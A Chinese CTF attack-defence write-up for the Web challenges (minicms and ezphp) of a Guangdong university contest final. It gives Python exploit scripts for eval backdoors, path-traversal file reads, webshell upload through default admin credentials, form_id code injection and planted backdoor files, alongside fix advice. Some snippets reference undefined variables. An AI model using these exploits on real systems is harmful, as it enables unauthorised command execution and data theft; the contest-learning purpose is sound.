第二届广东大学生网络安全攻防大赛决赛Web题目WriteUP
字数 1447 2025-08-06 12:20:48
第二届广东大学生网络安全攻防大赛决赛Web题目解析与教学文档
0x00 比赛概述
比赛模式:DAWD(Data-Con-AWD)攻防模式
- 时长:4小时
- 特点:实时攻防对抗,参赛队伍互相攻击和防守
- 评分机制:通过挖掘漏洞攻击对手服务得分,修补自身漏洞防御避免丢分
与AWD模式区别:
- 上一届为AWD模式,可使用WAF分析流量
- 本届DAWD模式对选手有更好保障
0x01 题目分析
题目1:minicms
目录结构
index.php
mc-admin/
conf.php
editor.php
foot.php
head.php
index.php
page-edit.php
page.php
post-edit.php
post.php
style.css
mc-files/
markdown.php
mc-conf.php
mc-core.php
mc-rss.php
mc-tags.php
pages/
data/
index
delete.php
draft.php
publish.php
posts/
data/
tucvj0.dat
index
delete.php
draft.php
publish.php
theme/
index.php
style.css
漏洞点1:首页代码执行
- 文件:
minicms/index.php - 漏洞代码:
@eval($_POST[1]); - 利用方式:直接POST传入PHP代码执行
EXP1:首页代码执行
import sys
import requests
try:
HOST = sys.argv[1]
PORT = sys.argv[2]
except:
pass
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
}
url = f"http://{HOST}:{PORT}"
data = {"1": "system('cat /flag');"}
def exp_1():
ans = requests.post(url=url, headers=header, data=data)
print(ans.text)
exp_1()
漏洞点2:任意文件下载
- 文件:
minicms/mc-files/mc-core.php - 漏洞参数:
file参数未过滤 - 利用方式:通过路径遍历读取系统文件
EXP2:任意文件读取
import sys
import requests
try:
HOST = sys.argv[1]
PORT = sys.argv[2]
except:
pass
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
}
url = f"http://{HOST}:{PORT}"
def exp_2(poc="/mc-files/mc-core.php?file=/flag"):
ans = requests.post(url=url+poc, headers=header, data=data)
print(ans.text)
exp_2()
修复方案
index.php修复:
- 直接删除
@eval($_POST[1]);代码
mc-core.php修复:
- 增加对
file参数的安全验证:- 确保不为空
- 是字符串类型
- 不包含
/(防止路径遍历) - 文件存在
- 使用
realpath获取绝对路径 - 检查路径是否为当前目录子路径
题目2:ezphp
漏洞点1:后台木马文件上传
- 后台地址:
/admin/Login/index.html - 默认凭证:
admin/000000 - 漏洞位置:系统设置中的上传配置
- 可添加php类型到允许上传列表
- 可修改上传文件大小限制
利用步骤:
- 登录后台
- 修改上传配置添加php类型
- 上传PHP木马文件
- 访问上传的木马执行命令
EXP1:后台木马文件上传
import sys
import requests
try:
HOST = sys.argv[1]
PORT = sys.argv[2]
except:
pass
uri = f"http://{HOST}:{PORT}"
def Login():
url = uri + '/admin/Login/index.html?jstime=1681524228621'
headers = {...}
data = {'username': 'admin', 'password': '000000', 'verify': 'aaaa'}
response = requests.post(url, headers=headers, data=data)
return response.cookies.get_dict()
def move(cookies):
url = uri + '/admin/Config/index?jstime=1681524476984'
headers = {...}
data = {
'file_size': '5000',
'file_type': 'gif,png,jpg,jpeg,doc,docx,xls,xlsx,csv,pdf,rar,zip,txt,mp4,flv,php,php5'
}
requests.post(url, headers=headers, cookies=cookies, data=data)
def upload(cookies):
url = uri + '/admin/Upload/uploadImages.html'
headers = {...}
files = {'file': ("1.php", open('q.php', 'rb'), "image/jpeg")}
response = requests.post(url, headers=headers, cookies=cookies, files=files)
return response.json()["data"]
def gogo(path):
url = uri + path
payload = "cmd=system('cat /flag');"
response = requests.post(url, headers=headers, data=payload)
print(response.text)
try:
c = Login()
move(c)
p = upload(c)
gogo(p)
except:
pass
漏洞点2:代码执行漏洞
- 文件:
app/index/controller/Form.php - 漏洞代码:存在
eval函数执行用户输入 - 利用参数:
form_id
EXP2:代码执行漏洞
import sys
import requests
url = f"http://{HOST}:{PORT}/index/form/index"
data = {'form_id': "system('cat /flag');"}
response = requests.post(url, headers=headers, data=data)
print(response.text.split('\n')[0])
漏洞点3:后门文件
- 文件:
public/uploads/admin/201910/this_is_big.php - 分析:
- 使用字符串替换构造"system"函数
- 最终执行
system($_POST['x'])
EXP3:后门利用
import sys
import requests
url = f"http://{HOST}:{PORT}/uploads/admin/201910/this_is_big.php"
payload = {'x': 'cat /flag'}
response = requests.post(url, headers=headers, data=payload)
print(response.text)
漏洞点4:生成Shell
- 文件:
app/index/controller/index.php - 功能:
shell函数会生成后门文件 - 后门路径:
/uploads/.bk.php
EXP4:生成后门利用
import sys
import requests
uri = f"http://{HOST}:{PORT}"
def get1():
url = uri + '/index/index/shell'
requests.get(url, headers=headers, timeout=1)
def gogo():
url = uri + '/uploads/.bk.php'
data = {'cmd': "system('cat /flag');"}
response = requests.post(url, headers=headers, data=data)
print(response.text)
get1()
gogo()
修复方案
Upload.php修复:
- 写死
file_type不允许配置文件覆盖
Form.php修复:
- 使用正则匹配
form_id变量:- 只允许字母、数字和下划线
- 包含其他字符则报错
Index.php修复:
- 修改默认密码为复杂不可猜测的值
this_is_big.php修复:
- 使用正则限制输入:
- 只允许大小写字母和数字
- 长度≥1
- 拒绝包含空格和特殊字符的命令
0x03 比赛经验总结
-
团队分工:
- 漏洞挖掘与流量分析
- EXP编写与攻击
- 漏洞修复与防御
-
关键时间点:
- 比赛初期快速编写EXP决定排名位置
- 通过流量分析快速发现对手利用的漏洞点
-
防御要点:
- 快速修补已知漏洞
- 注意防御性编程
- 监控异常流量
-
工具使用:
- D盾、河马等WebShell查杀工具
- 正则表达式验证用户输入
- 文件路径安全处理函数
-
攻防对抗技巧:
- 多漏洞点利用增加攻击维度
- 快速分析对手流量发现新漏洞
- 防御时考虑全面,避免单一修复被绕过